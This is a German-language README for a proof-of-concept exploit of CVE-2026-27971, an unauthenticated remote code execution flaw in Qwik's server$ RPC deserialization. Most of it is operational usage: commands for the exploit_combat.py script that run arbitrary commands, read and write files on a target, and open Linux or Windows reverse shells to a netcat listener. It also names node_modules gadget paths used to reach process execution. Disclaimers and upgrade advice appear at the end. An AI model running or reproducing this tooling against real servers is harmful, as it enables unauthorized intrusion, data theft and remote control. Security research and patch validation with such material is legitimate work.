
CVE-2026-27971 qwik rce
server$ Nicht authentifizierter RCE-PoC[!WARNING] Dieses Repository enthält einen aktiven Proof-of-Concept für Remote-Code-Ausführung. Verwenden Sie ihn nur gegen Systeme, die Ihnen gehören oder für deren Test Sie ausdrücklich autorisiert sind. Der Autor übernimmt keine Verantwortung für unbefugte Nutzung oder Schäden.
Ein eigenständiger Python-Proof-of-Concept für CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle im Qwik server$ RPC-Deserialisierungsmechanismus.
Der PoC kann eine aktive Marker-Probe durchführen, Befehle ausführen, Textdateien lesen oder schreiben und eine Reverse Shell auf Linux- oder Windows-Zielen anfordern. Es verwendet nur die Python-Standardbibliothek.
| Feld | Wert |
|---|
| Produkt | Qwik — npm-Paket @builder.io/qwik |
| Betroffene Versionen | <= 1.19.0 |
| Patch-Version | 1.19.1 |
| Schwachstelle | Nicht authentifizierte Remote-Code-Ausführung durch unsichere server$-Deserialisierung |
| Laufzeitbedingung | require() muss zur Laufzeit verfügbar sein |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Schweregrad | Kritisch — CVSS 4.0: 9.2 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Eine manipulierte application/qwik-json-Anfrage kann auf ein serverseitiges Modul und ein exportiertes Symbol verweisen. Anfällige Qwik-Versionen können eine nicht registrierte QRL durch Laufzeit-require() auflösen und ohne Authentifizierung aufrufen. Dieser PoC versucht, ein kompatibles Export für die Prozessausführung zu erreichen, das bereits im node_modules des Ziels vorhanden ist.
Betreiber:
server$/Qwik-JSON-Anfrage verarbeitet.Ziel:
@builder.io/qwik <= 1.19.0.require() verfügbar ist.node_modules zugegriffen werden kann.node im PATH des Dienstprozesses verfügbar.Es werden keine Python-Pakete von Drittanbietern benötigt.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Listet die eingebauten Gadgets ohne Senden einer Anfrage auf:
python3 exploit_combat.py --list-gadgets
Führen Sie eine aktive Marker-Probe durch und testen Sie jedes eingebaute Gadget:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeist keine passive Versionserkennung. Es versucht eine Remote-Code-Ausführung und bestätigt sie durch Ausgabe eines Markers aus dem Zielprozess.
Führen Sie einen Befehl aus:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Lesen Sie eine UTF-8-Textdatei:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Schreiben und überprüfen Sie eine UTF-8-Textdatei:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Fordern Sie eine Reverse-Shell an, nachdem Sie einen persistenten Listener gestartet haben:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Erzwingen Sie das Windows-Reverse-Shell-Payload, wenn die automatische OS-Erkennung ungeeignet ist:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
Das Skript startet keinen Listener. Der --callback-Vorprüf öffnet und schließt eine separate TCP-Verbindung, bevor das Shell-Payload gesendet wird, verwenden Sie daher einen Listener, der mehr als eine Verbindung akzeptieren kann.
| Option | Beschreibung |
|---|---|
-t URL, --target URL | Exakte Ziel-URL. Standard: http://localhost:3000. Die Route wird nicht automatisch ermittelt. |
--probe | Führt aktiv ein Marker-Payload aus und versucht eine Betriebssystemerkennung. |
-c CMD, --CMD CMD | Führt einen Befehl über Node.js child_process.execSync() aus. |
--read PATH | Liest eine UTF-8-Textdatei mit fs.readFileSync(). |
--write PATH --content TEXT | Schreibt eine Textdatei, liest sie zurück und vergleicht das Ergebnis. Übergeordnete Verzeichnisse werden nicht erstellt. |
--list-gadgets | Gibt die Namen der eingebauten Gadgets aus und beendet ohne Netzwerkanfrage. |
--lhost IP | Aktiviert den Reverse-Shell-Modus und setzt die Callback-Adresse. |
--lport PORT | Setzt den Callback-Port. Standard: 4444. |
--rev-all | Sendet jede Reverse-Shell-Variante anstatt nach der ersten akzeptierten HTTP-Anfrage zu stoppen. |
--callback | Testet die ausgehende TCP-Erreichbarkeit vor dem Senden eines Reverse-Shell-Payloads. |
--OS {auto,linux,windows} | Wählt die Reverse-Shell-Payload-Familie aus. Standard: auto. |
--gadget SPEC | Verwenden Sie auto, einen eingebauten Namen oder ein benutzerdefiniertes <module>#<symbol>. Standard: cross-spawn.sync. |
--arg-style {argv,command,shell} | Argumentstil für ein benutzerdefiniertes <module>#<symbol>-Gadget. |
--timeout SECONDS | Client-seitiger HTTP-Timeout. Standard: 30. |
--verify-ssl | Aktiviert die TLS-Zertifikats- und Hostnamen-Überprüfung. Die Überprüfung ist standardmäßig deaktiviert. |
Die Aktionsmodi schließen sich im Parser nicht gegenseitig aus. Verwenden Sie pro Aufruf einen von --probe, --CMD, --read, --write oder --lhost.
| Name | Modul und Export | Style |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto testet diese Gadgets in der aufgeführten Reihenfolge. Ein benutzerdefiniertes Gadget kann wie folgt angegeben werden:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, keine automatische Erkennung. Verwenden Sie --gadget auto, wenn das Abhängigkeitslayout des Ziels unbekannt ist.--read erwartet UTF-8, und --write ist nicht für binäre Daten vorgesehen.--rev-all kann mehrere Prozesse oder Callbacks auf dem Ziel starten. Verwenden Sie es nur in einer isolierten Laborumgebung.Aktualisieren Sie @builder.io/qwik auf 1.19.1 oder höher, aktualisieren Sie die Lockfile, bauen Sie die Anwendung neu und stellen Sie alle Serverartefakte erneut bereit. Das alleinige Entfernen eines kompatiblen Gadgets ist keine vollständige Behebung der zugrunde liegenden Qwik-Schwachstelle.
Dieses Projekt wird für Sicherheitsforschung, defensive Validierung und autorisierte Tests bereitgestellt. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.